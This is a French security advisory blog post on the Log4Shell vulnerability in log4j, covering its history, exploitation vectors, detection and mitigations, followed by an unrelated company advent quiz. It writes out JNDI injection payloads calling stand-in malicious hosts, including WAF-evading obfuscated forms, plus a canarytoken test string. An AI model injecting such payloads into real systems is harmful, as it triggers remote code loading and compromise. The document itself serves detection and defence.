Vous êtes victime d’un incident de sécurité ? Contactez notre CERT

15/12/2021

Cybersecurity Insights

Log4Shell : Le cadeau de Noël empoisonné en cette fin d’année

Article mis à jour le 21 décembre 2021

Après une année riche en actualités sur le plan de la sécurité informatique, la fin 2021 donne le coup d’envoi d’un marathon pour les DSI et RSSI avec la vulnérabilité baptisée sous le doux nom de log4shell, présente dans une bibliothèque Java (log4j) qui permet de prendre le contrôle à distance, sans authentification, d’une liste immense de produits présents dans tous les systèmes d’informations en général, et qui demandera beaucoup d’efforts à tous les secteurs liés à l’informatique pour être corrigée.

La bibliothèque log4j

Java est un langage de programmation ultra populaire qui est utilisé pour des applications et des services web, mais aussi pour des applications mobiles, des backends, des serveurs et équipements qui présentent une interface web, etc. Ceci est dû à sa bonne portabilité entre les OS et au fait que ce langage dit de « haut niveau », facilite la vie des développeurs, grâce à de nombreuses méthodes préconstruites.

La bonne pratique de tout bon développeur qui se respecte est de journaliser (loguer) les événements qui se produisent sur la solution qu’il développe, principalement pour des raisons de corrections de bugs ou pour guider les corrections de problèmes en production. Pour ce faire, Java propose par défaut une bibliothèque native intitulée java.util.logging. Pour différentes raisons, notamment dû à sa simplicité / pauvreté, cette dernière est peu utilisée, et une bibliothèque alternative plus complexe et complète a été créée : log4j. https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Il faut donc voir log4j comme une bibliothèque Open Source, qui permet de journaliser (loguer) de manière enrichie tout ce qui est nécessaire de l’être dans le code Java et de ce qui en découle lors de son exécution. Et cette petite bibliothèque, en réalité maintenue par deux volontaires sur leur temps personnel, demeure la principale bibliothèque utilisée dans les applications en Java (près de 800.000 projets l’utilisent sur GitHub).

A peu de choses près, on peut résumer la situation à :

Source de l’image : https://xkcd.com/2347/

Historique

En 2013, une nouvelle fonctionnalité a été demandée, par une tierce personne, sur le projet, et implémentée par les mainteneurs, entrainant la création de la vulnérabilité.

En 2015, un APT (groupe de cyberattaquants aux méthodes évoluées) gouvernemental exploite une vulnérabilité apparentée, à base de Java en mode applet sur RMI / JNDI et impactant le site de la Maison Blanche et de l’OTAN.

En 2016 a lieu une présentation à la conférence BlackHat, d’une attaque par désérialisation sur JNDI, mais lors de laquelle il reste malgré tout compliqué de faire un lien avec log4j :

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Par des vecteurs JNDI, des attaquants peuvent produire une URL absolue changeant le protocole / fournisseur :

  • rmi://attacker-server/bar
  • ldap://attacker-server/cn=bar,dc=test,dc=org
  • iiop://attacker-server/bar

D’autres protocoles peuvent être utilisés pour réaliser l’attaque : http, corba, java, nis, dns, ldaps, nds,…

Il a été trouvé trois vecteurs principaux pour acquérir une exécution de code à distance à travers une injection JNDI :

  • RMI :
    • Référence JNDI,
    • Objet distant,
  • Via CORBA :
    • IOR,
  • Via LDAP :
    • Objets serialisés,
    • Référence JNDI,
    • Localisation distantes,

Via un vecteur RMI : Payload qui réfère à JNDI

  • Payload: JNDI Reference:
  • Naming Manager Decoding Method

2021 voit la première occurrence connue de l’utilisation de la vulnérabilité log4shell par des joueurs Minecraft en l’exploitant telle que présentée dans la conférence de la BlackHat de 2016 par désérialisation JNDI et l’auraient utilisée pour neutraliser des serveurs concurrents.

Source : https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/

Toujours est-il que l’exploitation de la vulnérabilité a fini par être découverte, puis adressée aux deux développeurs bénévoles de log4j, qui l’ont aussitôt précorrigée. Cela étant, ces derniers n’ont pas notifié qu’il s’agissait vraiment d’une vulnérabilité au sens sécurité, ce qui a enterré le sujet pour quelques temps, n’a pas encouragé les utilisateurs à mettre à jour leurs versions, et a permis à ceux qui avaient connaissance de la faille de l’exploiter largement.

Mais Chen Zhaojun, chercheur de l’équipe sécurité d’Alibaba Cloud, qui cherchait à comprendre la raison de la dernière mise à jour, a officiellement reporté la correction comme étant une faille de sécurité le 12 novembre 2021.

Et là, c’est le drame : dans les jours qui ont suivi, de plus en plus de chercheurs ont essayé de comprendre la mesure de cette faille de sécurité avec surtout la publication des premiers codes d’exploitation les jeudi et vendredi dernier (9 et 10 décembre).

En quoi consiste la vulnérabilité log4shell ?

Log4j est un module qui, par défaut, essaie de trouver des variables dans les journaux pour les remplacer par leur valeur lorsqu’il analyse une chaine de caractère. A titre d’exemple, la variable ${username} permet de récupérer le nom de l’utilisateur courant.

Log4j interprète en particulier les JNDI, ces fameux Java Naming and Directory Interface, qui sont des interfaces logicielles permettant de récupérer le contenu d’une variable au travers du réseau (dont la vulnérabilité a été présenté à la BlackHat de 2016).

Dans le détail, comme indiqué plus haut, JNDI permet plusieurs types d’accès au réseau : annuaire (LDAP), résolution de nom (DNS), objet de type CORBA, appels à des méthodes distance (RMI), ou simplement des appels web (HTTP et HTTPS). Par exemple, dans le cas de JNDI, la variable ${jndi:ldap://domaine-malveillant.com/exploit} permet de récupérer une class Java par une requête d’annuaire LDAP. Cette fonctionnalité historique date de l’époque où Java appartenait à Sun/Oracle.

En conséquence, si une application utilisant Log4j reçoit une chaine de caractères contenant une variable JNDI, alors, elle sera interprétée par Log4j. Et si cette variable contient un lien vers un domaine contrôlé par un attaquant, ce dernier pourra répondre par une class Java qui sera exécutée, et qui sera, par exemple, en mesure d’installer un beacon Cobalt Strike.

La vulnérabilité (baptisée CVE-2021-44228) possède un score CVSSv3 de 10/10, c’est-à-dire le maximum possible, ce qui est assez rare. Il faut bien mesurer qu’il s’agit d’une exécution de code arbitraire à distance, sans authentification, qui plus est en Java, qui est très utilisé, et elle est surtout très facile à exploiter ce qui justifie amplement qu’elle ait le niveau de criticité le plus élevé.

La vulnérabilité s’activant lors de la réception de la chaine de caractères à journaliser, si une ligne de log est envoyée à n’importe quel collecteur de logs utilisant Log4j, où qu’il soit, il sera possible d’exécuter du code sur cet équipement, même s’il n’est pas exposé sur internet. C’est cette capacité à pénétrer le SI en profondeur qui rend la vulnérabilité si critique : si vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs, il peut être compromis.

Où la vulnérabilité est-elle présente ?

Une quantité astronomique d’entreprises, d’applications et de services, sont vulnérables, tellement Java est utilisé de manière omniprésente dans les SI. Voici plusieurs listes des produits vulnérables :

Même les GAFAM sont touchés : Apple avec iCloud, AWS dont le service S3, mais aussi Azure. Not « too big to fall ».

Également de grands noms du domaine de l’infrastructure : Cisco sur beaucoup de produits, CloudFlare, VMWare dont vCenter, le proxy Cloud de Zscaler, les Apache Solr, Druid, Flink, Struts2, etc.

De nombreux backends d’éditeurs d’EDR, dont des leaders du marché, peuvent être compromis, et laissent potentiellement accès aux données des clients.

Bien sûr, beaucoup de services qui traitent des logs et du monitoring (tels les SIEMs), même non exposés sur le web, le sont aussi : ELK, Splunk, Logstash, SolarWinds, etc.

Au-delà des éditeurs impactés, si l’on se concentre sur les nombreuses applications “faites maison” qui sont légions dans les SI, c’est aussi le fait que cette vulnérabilité soit exploitable de façons extrêmement variées qui rend compliquée la mise en service de moyens de mitigations par des contournements. Par exemple, la vulnérabilité est exploitable en utilisant une simple requête HTTP sur un site ou une application vulnérable, et en mettant le payload dans les entêtes classiques comme Referer, User-Agent, ou XFF, du temps qu’elle est loguée et son champ interprété. Exemples de services web en Java qui vont journaliser certains des entêtes comme User-Agent : https://twitter.com/u039b/status/1469375014046687239?s=11

La vulnérabilité est également exploitable en positionnant le payload dans :

  • Certains en-têtes des mails, et même l’adresse mail de l’expéditeur (car la chaine coucou+(${jndi:ldap://domaine-malveillant.com/exploit})@mon-domaine.com » est une adresse mail valide au sens de la RFC 822),
  • L’identifiant et le mot de passe pour s’authentifier sur un site (vu sur un réseau social),
  • Le nom d’un réseau Wi-Fi, ou d’un nom d’appareil mobile sur un réseau Bluetooth,
  • Les métadonnées des images et des fichiers type PDF, Word, Excel…
  • Nom de fichier sur un site de Pasties (Pastbin),
  • Revue documentaire d’un livre,
  • Contenu d’un SMS,
  • Ticket remonté au support client,

Versions affectées :

  • log4j versions 2.0-beta9 à 2.12.1 > A mettre à jour vers log4j-2.12.3 pour Java7
  • log4j versions 2.13.0 à 2.15.0 > A mettre à jour vers log4j-2.17.0 pour Java8 ou supérieur

Qui exploite la vulnérabilité et dans quel but ?

Comme lors de toute publication d’une vulnérabilité avec un code d’exploitation dans la nature impactant des actifs exposés sur le web, la campagne d’exploitation commence par des sessions de scans massifs venant du web. Selon Kaspersky, les IP publiques remontées dans les premiers jours de la campagne de scan sont principalement en provenance de la Russie et du Brésil, mais étonnamment, très peu de Chine. Voici des listes d’IPs et domaines connus à bloquer sans trop de crainte :

Pour l’instant, on n’observe que le déploiement de cryptomineurs, et assez peu de ransomware (seul Khonsari a été reporté mardi 14 décembre). Mais ceci peut facilement s’expliquer par le fait :

  • Qu’il faut un certain temps pour effectuer l’escalade de privilèges dans un SI et compromettre l’AD,
  • Que ce ne sont pas les mêmes groupes qui exploitent ces vulnérabilités en déposant des backdoors qui sont revendues sur le Darknet, au profit d’autres groupes qui, eux, compromettent l’AD et déploient le ransomware.
  • Que d’autres types d’attaques tout aussi lucratives, beaucoup plus furtives et qui laissent peu de traces passent sous le radar : les vols de données numériques et de propriété intellectuelle par exfiltration de données. Sophos indique qu’il a observé des attaquants contacter des EC2 ou Bucket S3 AWS pour y voler tous les jetons API des applications, logins et mots de passe, clefs privées, etc. Ces attaques, en première apparence moins impactantes qu’un ransomware, sont, en effet, moins traquées par les autorités judiciaires. Il est donc plus probable de passer entre les mailles du filet judiciaire qui a vu, ces derniers mois, attraper de nombreux groupes non « bulletproof » en Europe. Le gain financier étant tout aussi intéressant que dans les attaques par ransomware, puisque les données récoltées se revendent très bien sur le Darknet contre Bitcoin et Monero.

A noter que ces reventes de données récoltées (dont des backdoors déposées) pourront être exploitées dans les jours, semaines et mois suivants par des groupes ransomware. Il ne faut donc surtout pas se sentir protégé si le sentiment de première vague retombe et que la pression médiatique s’amenuise. Typiquement, les groupes APT gouvernementaux / services de renseignements sont adeptes de la multiplicité de backdoors dans un SI victime, pour finalement n’utiliser qu’une des backdoors répondant, parfois longtemps après l’avoir déployée.

Comment détecter l’exploitation de la vulnérabilité dans son SI ?

Le meilleur moyen de savoir si la vulnérabilité a été exploitée dans son SI, à l’heure actuelle, reste de regarder dans tout son historique de logs, pour constater si des traces des chaines de caractères évoquées plus haut sont présentes. Etant donné que cette vulnérabilité aurait pu ne jamais être découverte, il est peu probable que les chaines de caractères aient été obfusquées (si l’exploitant initial n’était pas un ATP), ce qui facilitera sa recherche. Mais les exploitations futures de la vulnérabilité (et on le voit dès cette semaine) seront immanquablement obfusquées pour bypasser les WAF. Aussi, si un ATP a pu obtenir connaissance de l’exploit, avant sa publication, il est probable qu’il ait cherché à l’obfusquer afin de conserver la vulnérabilité secrète le plus longtemps possible. Ce qui rend la détection de log4shell particulièrement compliquée, c’est que la chaine de caractères JNDI n’est pas loguée quand l’exploit est opéré avec succès (puisque la chaine est interprétée par le logger log4j). Cela revient à chercher un champ vide dans ses logs. Il faut donc s’appuyer sur un autre équipement, qui logue le contenu du trafic sans être vulnérable à l’exploit, pour rechercher la chaine de caractère : typiquement, il peut être intéressant de s’appuyer sur un WAF. Concernant l’étude des logs à long terme dans le passé (à froid), cela reste un exercice compliqué, car un gros volume de logs (sur un an ?) doit être chargé pour être exploré, ce qui demande d’importantes ressources de traitement (CPU, stockage) pour un résultat, si négatif, qui ne garantira pas pour autant que la vulnérabilité n’a pas été exploitée sur le SI. Pour l’étude récente dans les logs, il suffit de détecter des “${“ dans une chaine de caractères mais avec un risque important de faux positifs. Il faut aussi chercher les autres caractères non obfuscables contenus dans la chaine, avec par exemple l’expression régulière : “\${.*\:.*\/.*\/.*}” Il peut être intéressant, en parallèle de chercher dans ses logs, de scanner son SI à la recherche de la vulnérabilité. Pour ceci, plusieurs outils sont proposés par la communauté : Un scan manuel est également possible en créant un token avec l’outil https://canarytokens.org/generate# Il faut choisir le token DNS :

Copiez le token généré :

Le payload se constitue alors de : ${jndi:ldap:// fh1plcnattqthz612javvp1l3.canarytokens.com/a}

Il est alors utilisable pour tester une application, dans un paramètre de recherche, par exemple.

Pour tester le bon fonctionnement d’un payload, vous trouverez ici une application vulnérable réalisée exprès pour ça : https://github.com/leonjza/log4jpwn  

Source de l’image : CERT-DS

Détecter la présence de la vulnérabilité avec le Security Rating

Le Security Rating est un service proposé par Almond. Son objectif est de produire une note représentant la performance et la maturité cyber sécurité d’une organisation par une évaluation automatisée, continue et reproductible sur la base de données observables publiquement. Au regard de la sévérité de log4shell, la société Almond a décidé d’implémenter un test dédié au sein même du Security Rating. Ce test, non intrusif, permet de recenser les actifs potentiellement vulnérables d’une entreprise.

Si vous êtes déjà client, vous pouvez consulter les résultats de ce test dans la partie « Contrôle de sécurité », disponible sur l’évaluation d’une société :

Le problème de l’obfuscation

Du fait des différentes possibilités d’écritures des chemins JNDI et de leur interprétation par Java, il est possible de facilement obfusquer l’exploit (on en compte plus d’une soixantaine dans la nature mardi 14 décembre). En voici quelques exemples :

  • ${jndi:dns://ici-le-domaine-malveillant.com/exploit}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit}
  • ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}

Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832

Voici un repository Github de CrowdSec contenant des exploits à taguer dans votre WAF : https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/log4j2_cve_2021_44228.txt

Cela dit, il existe tellement d’entreprises exposées à la vulnérabilité sur le web, pour encore plusieurs semaines / mois, que la généralisation de l’obfuscation pourrait mettre un peu de temps à arriver. Mais attention, des PoC ont été vus depuis samedi 11 décembre à ce sujet. Ces obfuscations présentent un intérêt évident, dès à présent, pour les APT qui ciblent des entités particulières en liste blanche (à la différence des attaques opportunistes des groupes cybercriminels).

C’est aussi le fait que cette vulnérabilité soit exploitable de manières extrêmement variées qui rend compliquée son contournement ou la production de moyens de mitigations. Il est donc indispensable, en plus de mener une campagne de contournement court-termiste, de planifier coute que coute un plan d’upgrade de la bibliothèque elle-même.

Comment répondre à la menace ?

Recommandation n°1 : Prévoir un marathon.

La remédiation se fera dans la durée. Ne mettez pas vos équipes sur le pont à bosser 100 heures cette semaine, car les semaines suivantes risquent d’être également longues, et ce, pour un long moment.

Pour ne rien arranger, les fêtes de fin d’année, les équipes réduites, et les freezes de fin d’année réduiront la possibilité de réagir vite et fort.

En guise d’exemple, quand on sait que VMWare vSphere est impacté et que les séances de patching vont imposer les redémarrages de tous les hyperviseurs, certaines DSI vont avoir de longs weekends à venir.

Recommandation n°2 : Se réapproprier son SI.

S’il est rare de voir une société posséder une CMDB à jour, celles qui dressent la liste de leurs applications et de leurs dépendances sont infimes. La première étape opérationnelle va être de dresser une liste précise des applications, services, éditeurs présents dans le SI qui sont susceptibles d’utiliser log4j. Ainsi, plus concrètement :

  1. Sur tous les serveurs sur lesquels les équipes d’administration ont accès au système de fichiers, il faut traquer ceux qui utilisent Java.
  2. Et parmi les serveurs qui utilisent Java, il faut identifier ceux qui utilisent log4j (aidez-vous des outils cités plus haut). A noter que la présence de log4j n’implique pas forcément son utilisation par une application, mais dans le doute, il ne faut pas prendre de risque. Il est conseillé de prioriser en commençant par les machines exposées sur Internet. Dans tous les cas, il faut partir du principe qu’il sera impossible de confirmer à 100% la non présence du fichier .jar sur un serveur, car ceux-ci s’installent n’importe où. Vérifier une liste d’applications installée ne sera pas d’une plus grande efficacité.
  3. Pour les boites noires, il faut rester attentifs aux communications des éditeurs quant aux mises à jours de sécurité proposées et aux listes publiques d’équipements et produits vulnérables (cf les listes citées plus haut). Un éditeur qui se déclare non vulnérable ne l’est que jusqu’à ce qu’il révise sa position : il faudra rester vigilant dans la durée.
  4. Ensuite, il faudra identifier les serveurs qui utilisent les versions 1.x ou 2.0 – 2.15.0 de log4j pour Java 7 ou 8+, car ceci vous guidera dans vos roadmaps de remédiation avec un choix cornélien : mettre à jour ou appliquer un contournement. La version 1.x doit également être mise à jour, car vulnérable à un autre exploit de score CVSSv3 critique de 9.8 qui date de 2019 (CVE-2019-17571).

Recommandation n°3 : Activer un filtrage sortant strict et segmenter.

L’exploitation de la vulnérabilité se fait en répondant à la requête de l’attaquant. La priorité n°1 est donc de désactiver l’accès à internet pour les serveurs qui n’en ont pas besoin. Mais ceci enfonce une porte ouverte, puisqu’il est inutile de rappeler que dans les bonnes pratiques, tout serveur interne est bien cloisonné et ne laisse sortir aucun trafic vers internet. Il existe cependant des exceptions pour les serveurs propriétaires qui ont besoin de contacter leur éditeur pour des raisons de licence, mais cet accès à internet doit être filtré par une liste blanche.

S’équiper d’un proxy et plus généralement d’un WAF va se révéler plus utile que jamais. Mais attention, comme les éditeurs de WAF vont développer des filtres pour parer les attaques, les attaquants vont finir par s’adapter et passer outre au bout d’un moment. Le joker WAF ne peut être qu’une solution temporaire de protection.

Par ailleurs, en cas de prise de position dans le SI par un attaquant, une des meilleures pratiques pour la ralentir et/ou limiter ses actions reste, a minima, de segmenter correctement son SI afin d’isoler les applications critiques et les fonctions d’administration du reste.

Recommandation n°4 : Appliquer les correctifs temporaires de contournement.

En bloquant les variables DNS et en filtrant le trafic vers internet (point n°3), il doit être possible d’éviter d’avoir à mettre à jour son code Java dans l’urgence. Ce postulat est intéressant, car la mise à jour du code représente un défi énergivore pour les applications maisons, avec de longues campagnes de tests de non-régression.

Voici comment mettre en place une variable désactivant les résolutions de noms, ce qui permettra de diminuer l’exploitation de la vulnérabilité :

  • Soit en modifiant la ligne de commande de l’appel au logiciel : # java … ‐Dlog4j2.formatMsgNoLookups=True … -jar mon_appli_toute_moisie.jar
  • Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exécutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
  • Pour les applications en Docker, dans les fichiers dockerfile ou docker-compose.yml, plus d’informations ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Plus d’informations ici : https://www.rumble.run/blog/finding-log4j/

Mais attention : les contournements ne font que rendre plus complexe l’exploitation de la vulnérabilité pour les attaquants. Tout comme avec la mise en place des règles sur les WAF, il va y avoir une course poursuite entre propositions de contournement et obfuscation / évolution des techniques des attaquants. La seule solution pérenne et efficace reste de mettre à jour la bibliothèque log4j.  

Recommandation n°5 : Patcher et mettre à jour

Il devrait y avoir de nombreuses propositions de patchs successifs de la part des éditeurs, car la vulnérabilité ne sera pas aisée à fixer définitivement pour de nombreux produits. Ceci s’explique par le fait que les éditeurs font bien souvent face aux mêmes défis que nous : les premiers patchs, disponibles rapidement, rendent l’exploitation de la vulnérabilité plus compliquée pour les attaquants, puis les patchs suivants désactivent définitivement la possibilité de son exploitation. Dans le cas d’applications maison, il n’y a pas d’autre issue possible que la mise à jour vers log4j 2.17.0.

Recommandation n°6 : Avoir un plan et des moyens pour la sécurité de son SI.

A terme, il faudra fiabiliser la gouvernance et l’analyse de risques au sein de l’équipe de sécurité de son SI en lui donnant des moyens financiers et humains pour faire de la veille pour surveiller les communications des éditeurs, regarder les bulletins du CERT-FR de l’ANSSI, qui reste une référence francophone, mais aussi regarder les logs dans la durée, mais aussi dans le passé, pour détecter une éventuelle compromission. Attention, les logs qui remontent peuvent avoir un retard de plusieurs heures : il faut pouvoir réagir vite et bien quand un positif remonte.

Dans cette démarche d’amélioration continue de la maturité de la sécurité de son SI, il peut être utile de faire appel à un SOC dans une démarche efficace et pérenne. Le SOC CERT CWATCH Almond, fort de sa longue expérience, et se ferait un plaisir de vous compter parmi les clients qu’il protège 😊

Recommandation n°7 : Soutenir le développement libre.

Tout ceci ne serait peut-être pas arrivé si la communauté Java ne s’était pas reposée sur une bibliothèque entretenue depuis 2003 par deux individus travaillant en best effort sur leur temps personnel. Aider en finançant la communauté Open Source est indispensable pour notre avenir. Les fondations Mozilla et Wikipédia, émanations grand public du développement collaboratif, en sont les avatars et vous êtes heureux d’en profiter quotidiennement. Soutenez-les et parlez-en autour de vous.

L'équipe SOC CERT CWATCH

Voir les derniers Cybersecurity Insights

16 janvier 2025
Dans un monde où les données sont devenues l'une des ressources les plus précieuses d'une organisation quelle que soit leur […]
25 novembre 2024
Avec une souche éprouvée, des outils bien choisis et des cibles stratégiques, 8Base se distingue comme une menace particulièrement redoutable. […]
12 novembre 2024
L'IA est devenue un facilitateur de la conduite des affaires cybercriminelles. La résilience exigée au sein de diverses organisations pour […]
29 octobre 2024
L'usurpation d'identité vous effraie ? De l'arnaque corporate jusqu'aux manipulations à l'échelle globale, l'essor des deepakes incarnant des personnalités publiques […]
28 octobre 2024
2024 is the year of elections. But how does it impact the threat landscape? Almond would like to share a […]
22 octobre 2024
Les interfaces que vous utilisez chaque jour subissent de multiples assauts, et leur manipulation met en danger de nombreuses entreprises […]
2 octobre 2024
Le Moyen Orient attire tous les regards après l'attaque sur la chaine d'approvisionnement des bippers et de talkies-walkies. L'Iran, acteur […]
17 juillet 2024
CWATCH vous invite au travers de cet article à vous interroger sur l’écosystème d’attribution actuel et les impacts de celui-ci […]
26 juin 2024
À l'approche des Jeux olympiques de Paris, la communauté de la cybersécurité a déjà observé une augmentation des activités malveillantes.
20 juin 2024
Ce Cybersecurity Insights a pour but de naviguer entre l’intérêt, le fonctionnement et l’étendue du marché des scanners de vulnérabilités. 

Nous vous souhaitons de joyeuses fêtes de fin d’année hautes en couleur et à l’année prochaine pour une année 2025 exaltante ! 🎉

🎁 Merci à tous pour votre participation au quiz de l’avent, nous contacterons le gagnant très prochainement.

🎅 Chez Almond, l’esprit festif des fêtes de fin d’année est arrivé en avance !

Nos collaborateurs ont profité d’une soirée chaleureuse et joyeuse dans l’un des restaurants les plus spectaculaires de Paris, Le Cirque avec un cocktail dinatoire, des surprises et un Secret Santa.

Et un peu plus de magie de Noël ? Almond a également ouvert ses portes aux familles de nos collaborateurs pour une après-midi conviviale autour de l’arbre de Noël. Les enfants ont été captivés par des contes enchantés, de 1001 contes Constance Felix et ont savouré un goûter délicieux avec des chocolats chauds préparés par les Empotés. Le Père Noël a distribué des coloriages géants et des cadeaux pour le plus grand bonheur des enfants 🎁

Jour 23 |

Jour 22 | Laquelle de ces menaces n’est pas un cryptoransomware ?

  • Réponse 1 : Lockbit3
  • Réponse 2 : Phobos
  • Réponse 3 : NotPetya
  • Réponse 4 : WannaCry

Laïus explicatif : Bien que NotPetya ressemble à un ransomware, il s’agit en réalité d’un wiper. Ce malware rend indisponible les fichiers de la victime, mais ne fournit aucun moyen de les déchiffrer, même après le paiement de la rançon. L’objectif principal de NotPetya n’est pas l’extorsion financière, mais la destruction de données.
En cas d’incident, voici les coordonnées de notre CERT : [email protected] +33 (0)1 83 75 36 94

Jour 21 | Vous dialoguez via votre terminal avec un service distant et vous vous rendez compte qu'il contient un stack-based overflow. Vous cherchez à l'exploiter à l'aveugle et trouvez finalement l'offset de l'adresse de retour, après avoir contourné les éventuelles protections. Vous cherchez maintenant un stop gadget pour continuer votre exploitation. Quelle est son utilité :

  • Réponse 1 : interrompre à la demande le flux d’exécution du binaire distant le temps de l’exploitation
  • Réponse 2 : obtenir une exécution fiable et maîtrisée avec un comportement reproductible
  • Réponse 3 : pouvoir mettre en pause le binaire temporairement pendant l’envoi de la payload
  • Réponse 4 : pouvoir stopper proprement le binaire afin d’éviter un éventuel crash à la fin de l’exploitation

Laïus explicatif : L’exploitation se déroulant en aveugle, il est nécessaire de trouver une adresse permettant d’obtenir un comportement particulier et reproductible à chaque exécution, comme l’affichage du texte « Bye ». Si une telle adresse est trouvée, elle correspond au stop gadget. Il permettra donc de continuer l’exploitation et de valider ou invalider nos déductions lors de l’exécution du binaire.

Jour 20 | Le terme "spam" pour désigner les messages indésirables provient initialement

  • Réponse 1 : D’une marque de jambon en boîte
  • Réponse 2 : D’un acronyme signifiant « Stupid Pointless Annoying Messages »
  • Réponse 3 : D’un sketch des Monty Python
  • Réponse 4 : D’un code utilisé pendant la Seconde Guerre mondiale

Laïus explicatif : Ce mot, à l’origine un acronyme de : SPiced hAM (du jambon épicé en boîte vendue par une entreprise américaine), est repris en masse, pour brouiller la conversation, dans un sketch des Monty Python.

Jour 19 | L’acronyme PACS désigne  :

A. Un format permettant la visualisation des images dans l’imagerie médicale

B. Un système d’archivage et de communication d’images dans l’imagerie médicale

C. Un prestataire d’audit et de conseil en cybersécurité

D. Un pacte civil de solidarité

  • Réponse 1 : L’ensemble des réponses
  • Réponse 2 : Réponses C et D
  • Réponse 3 : Réponses B, C et D
  • Réponse 4 : Réponses A, C et D

Laïus explicatif :

Un PACS, dans le secteur de l’imagerie médicale, désigne effectivement un système (et non un format) signifiant « Picturing Archiving and Communication System » permettant de gérer les images médicales grâce à des fonctions d’archivage.

De plus, depuis septembre, l’ANSSI a publié un référentiel d’exigences qui permet aux commanditaires de prestations de sécurité de bénéficier de garanties sur les compétences des prestataires, sur le processus d’accompagnement et de conseil, ainsi que sur la sécurité des systèmes d’information associés. Ce référentiel vise à reconnaître officiellement les prestataires en tant que « Prestataires d’accompagnement et de conseil en sécurité ».
Enfin, en France, le PACS désigne aussi une forme d’union civile dénommée Pacs.

Jour 18 | En quelle année l'ANSSI prévoit de ne plus recommander l'utilisation de certains algorithmes de chiffrement classiques en raison de l'augmentation de la puissance de calcul des ordinateurs classiques et de la menace posée par les ordinateurs quantiques ?

  • Réponse 1 : 2026
  • Réponse 2 : 2030
  • Réponse 3 : 2035
  • Réponse 4 : 2050

Laïus explicatif : Dans son dernier avis sur la migration vers la cryptographie post quantique, paru en janvier 2024, l’ANSSI encourage tous les éditeurs à mettre en œuvre dès à présent une hybridation entre la cryptographie standard et la cryptographie post-quantique (pour les produits qui doivent protéger des informations après 2030) et recommande d’utiliser en priorité la cryptographie post-quantique à partir de 2030.  

Jour 17 | Quelle est la dernière course à laquelle j’ai participé ?

  • Réponse 1 : Le Vendée Globe
  • Réponse 2 : National Figaro 3 en équipage
  • Réponse 3 : La Solitaire du Figaro Paprec
  • Réponse 4 : Le Havre Allmercup

Laïus explicatif : Le National Figaro 2024 s’est déroulé du 4 au 6 octobre dernier à Lorient. Thomas et son équipe sont arrivés en 2e position ! Cette course clôture ainsi la saison 2024 sur le circuit Figaro. 

  • Réponse 1 : Aetheris

  • Réponse 2 : Venopie

  • Réponse 3 : Lumidus

  • Réponse 4 : Pandama

Laïus explicatif : Au sein de la plateforme d’attaque – défense M&NTIS, le scénario Pandama propose une kill chain dont l’impact, après compromission du contrôleur de domaine, permet de déployer, par GPO, une charge utile effaçant les données présentes sur les systèmes de fichiers du SI simulé.

Pour rappel, basé sur les technologies d’émulation d’adversaire et de Cyber Range, M&NTIS permet d’exécuter des campagnes d’attaques réalistes afin de challenger dans un environnement immersif les procédures et l’expertise des équipes SOC et CERT. M&NTIS répond ainsi aux enjeux d’amélioration continue de la défense.

Jour 15 | Quel type de menace ne fait pas parti de l’insider threat?

  • Réponse 1 : Malicious
  • Réponse 2 : Ransomware group
  • Réponse 3 : Negligent
  • Réponse 4 : Vendors

Laïus explicatif : Almond a proposé une étude sur la menace interne qui décrit chaque type d’insider. Les groupes de ransomware sont externes à l’entreprise mais peuvent recruter des employées pour récupérer des accès valides et compromettre l’entreprise. Retrouvez l’étude ici.

Jour 14 | Selon vous, quelle proportion des cyberattaques réussies sont liées à une erreur humaine ?

  • Réponse 1 : 40%

  • Réponse 2 : 100%

  • Réponse 3 : 70%

  • Réponse 4 : 90%

Laïus explicatif : 90% des cyberattaques trouvent leur origine dans une erreur humaine. L’erreur humaine en cybersécurité englobe toutes les actions, conscientes ou non, qui exposent les systèmes et les données à des menaces. Cela inclut des gestes apparemment innocents, comme le fait de :

  • Cliquer sur les liens malveillants
  • Utiliser des mots de passe faibles ou partagés
  • Partager des informations sensibles
  • Négliger la mise à jour des logiciels et systèmes
  • Commettre une erreur de configuration ou mal administrer les accès
  • Utiliser des clés USB non sécurisées ou prévenant de sources inconnues

Jour 13 | Almond & Amossys sont présents en France et à l’international pour garantir proximité et réactivité grâce à nos services 24/7. Dans quels pays se trouvent nos équipes ?

  • Réponse 1 : FRA – CHE – AUS – JPN

  • Réponse 2 : FRA – CAN – CHE – KOR

  • Réponse 3 : FRA – AUS – CAN – GBR

  • Réponse 4 : FRA – BEL – ITA – USA

Jour 12 | Challenge OSINT

Val Thorens

Laïus explicatif : Depuis plusieurs années consécutives, notre CSE organise des séjours à Val Thorens pour profiter des sports d’hiver. Que l’on aime dévaler les pistes de ski à toute allure, tenter l’aventure en prenant des cours d’initiation ou simplement déguster une raclette après une randonnée raquette et un passage à la piscine et au sauna, ce séjour est l’occasion de partager des moments convivaux avec ses collègues ! TIC, TAC, le prochain séjour ski approche à grands pas !

Jour 11 | Parmi ces propositions, quelle technique Mitre Atta&ck est la plus utilisée par les attaquants ?

  • Réponse 1 : OS Credential Dumping
  • Réponse 2 : Valid Account
  • Réponse 3 : Impair Defenses
  • Réponse 4 : Remote services

Laïus explicatif : L’achat ou la récupération de comptes valides sont de plus en plus commun. Certains cybercriminels appelés Initial Access Broker se spécialisent dans la compromission de victimes dans le but de récupérer des identifiants valides qui seront ensuite vendus à d’autres cybercriminels comme les groupes de ransomware.

Jour 10 | Parmi ces structures de données de la mémoire dans Windows, quelle est celle qui permet de lister les processus en cours d’exécution ?

  • Réponse 1 : EPROCESS
  • Réponse 2 : Kernel Debugger Data Block (KDBG)
  • Réponse 3 : Kernel Processor Control Region (KPCR)
  • Réponse 4 : Process Environment Block (PEB)

